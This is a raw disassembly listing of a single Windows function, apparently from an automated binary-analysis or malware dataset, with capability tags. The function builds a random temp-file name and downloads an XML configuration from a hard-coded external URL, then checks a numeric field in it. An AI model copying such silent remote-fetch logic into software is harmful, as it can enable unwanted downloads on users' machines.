Function at 0x414730
Capabilities:
Get common file path
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x45fe96
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18c
push ebx
push esi
push edi
xor ebx, ebx
push ebx
mov dword [esp + 0x1a4], ebx
call dword [sym.imp.MSVCRT.dll_time]
mov esi, eax
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x9d]
mov byte [esp + 0x9c], bl
add esp, 4
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x98]
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edx, dword [0x478994]
mov ecx, esi
sub ecx, edx
cmp ecx, 0x1b7740
jle 0x41483b
push esi
mov dword [0x478994], esi
call dword [sym.imp.MSVCRT.dll_srand]
mov esi, dword [sym.imp.MSVCRT.dll_rand]
add esp, 4
call esi
cdq
mov ecx, 0x64
idiv ecx
push edx
call esi
cdq
mov ecx, 0x64
idiv ecx
push edx
push str._kprd_d__d.xml
push 0x478998
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
mov esi, 2
push ebx
push ebx
lea edx, [esp + 0xa0]
push 0x478998
push edx
push str.http:__config.153624.com_Public_conf_resource_donum.xml
call fcn.00402f40
add esp, 0x14
cmp eax, 0xfffffff4
je 0x41481c
cmp eax, 1
je 0x41483b
mov ecx, esi
dec esi
test ecx, ecx
jne 0x4147ea
cmp eax, 1
je 0x41483b
push 1
lea ecx, [esp + 0x1ac]
mov dword [esp + 0x1a4], 0xffffffff
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
jmp 0x414b76
mov dl, byte [esp + 0xf]
push ebx
lea ecx, [esp + 0x18]
mov byte [esp + 0x18], dl
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
lea edi, [esp + 0x98]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x98]
push ecx
push eax
lea ecx, [esp + 0x1c]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
mov edi, 0x478998
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0x1a0], 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x478998
lea ecx, [esp + 0x1c]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::append_char_const___unsigned_int_]
lea ecx, [esp + 0x1a8]
lea edx, [esp + 0x24]
push ecx
push str.resource_
push edx
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_char_const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
add esp, 0xc
mov al, byte [esp + 0xf]
push ebx
lea ecx, [esp + 0x38]
mov byte [esp + 0x1a4], 2
mov byte [esp + 0x38], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
lea ecx, [esp + 0xf]
mov byte [esp + 0x1a0], 3
push ecx
lea ecx, [esp + 0x48]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::allocator_char__const__]
mov dword [esp + 0x78], ebx
mov dword [esp + 0x84], ebx
mov dword [esp + 0x80], ebx
mov dword [esp + 0x7c], ebx
push ebx
lea ecx, [esp + 0x38]
mov byte [esp + 0x1a4], 6
call fcn.004354d0
mov dword [esp + 0x74], ebx
push ecx
mov ecx, dword [esp + 0x1c]
cmp ecx, ebx
mov byte [esp + 0x1a4], 7
mov dword [esp + 0x14], esp
mov eax, esp
jne 0x41492e
mov ecx, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
mov dword [eax], ecx
lea ecx, [esp + 0x38]
call fcn.004356b0
cmp al, bl
je 0x414a91
push ecx
lea ecx, [esp + 0x38]
mov eax, esp
mov dword [esp + 0x14], esp
mov dword [eax], str.root
call fcn.00435b30
cmp al, bl
je 0x414a91
lea ecx, [esp + 0x34]
call fcn.004369c0
push ecx
lea ecx, [esp + 0x38]
mov eax, esp
mov dword [esp + 0x14], esp
mov dword [eax], str.resource_donum
call fcn.00435b30
cmp al, bl
je 0x414a91
mov eax, dword [esp + 0x28]
push ecx
cmp eax, ebx
mov dword [esp + 0x14], esp
mov ecx, esp
jne 0x41499a
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
mov dword [ecx], eax
lea ecx, [esp + 0x38]
call fcn.00435ba0
cmp al, bl
je 0x414a91
lea edx, [esp + 0x88]
lea ecx, [esp + 0x34]
push edx
call fcn.00414ba0
mov eax, dword [esp + 0x8c]
cmp eax, ebx
jne 0x4149ce
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
push eax
call dword [sym.imp.MSVCRT.dll_atol]
mov ecx, dword [esp + 0x1bc]
add esp, 4
cmp ecx, eax
mov byte [esp + 0x1a0], 7
push 1
lea ecx, [esp + 0x8c]
ja 0x414a8b
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
lea ecx, [esp + 0x7c]
mov byte [esp + 0x1a0], 0xa
call fcn.0040b030
lea ecx, [esp + 0x78]
call fcn.0040af90
push 1
lea ecx, [esp + 0x48]
mov byte [esp + 0x1a4], 9
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
push 1
lea ecx, [esp + 0x38]
mov byte [esp + 0x1a4], 2
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
push 1
lea ecx, [esp + 0x28]
mov byte [esp + 0x1a4], 1
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
push 1
lea ecx, [esp + 0x18]
mov byte [esp + 0x1a4], bl
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
push 1
lea ecx, [esp + 0x1ac]
mov dword [esp + 0x1a4], 0xffffffff
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov eax, 1
jmp 0x414b78
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
lea ecx, [esp + 0x7c]
mov byte [esp + 0x1a0], 0xc
call fcn.0040b030
lea ecx, [esp + 0x78]
call fcn.0040af90
push 1
lea ecx, [esp + 0x48]
mov byte [esp + 0x1a4], 0xb
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov ecx, dword [esp + 0x38]
cmp ecx, ebx
je 0x414ae3
mov al, byte [ecx - 1]
cmp al, bl
je 0x414ad9
cmp al, 0xff
je 0x414ad9
dec al
mov byte [ecx - 1], al
jmp 0x414ae3
dec ecx
push ecx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x38], ebx
cmp ecx, ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], ebx
je 0x414b13
mov al, byte [ecx - 1]
cmp al, bl
je 0x414b09
cmp al, 0xff
je 0x414b09
dec al
mov byte [ecx - 1], al
jmp 0x414b13
dec ecx
push ecx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x28], ebx
cmp ecx, ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
je 0x414b43
mov al, byte [ecx - 1]
cmp al, bl
je 0x414b39
cmp al, 0xff
je 0x414b39
dec al
mov byte [ecx - 1], al
jmp 0x414b43
dec ecx
push ecx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov ecx, dword [esp + 0x1ac]
mov dword [esp + 0x18], ebx
cmp ecx, ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
je 0x414b76
mov al, byte [ecx - 1]
cmp al, bl
je 0x414b6c
cmp al, 0xff
je 0x414b6c
dec al
mov byte [ecx - 1], al
jmp 0x414b76
dec ecx
push ecx
call sub.MFC42.DLL_operatordelete
add esp, 4
xor eax, eax
mov ecx, dword [esp + 0x198]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
add esp, 0x198
ret 0x14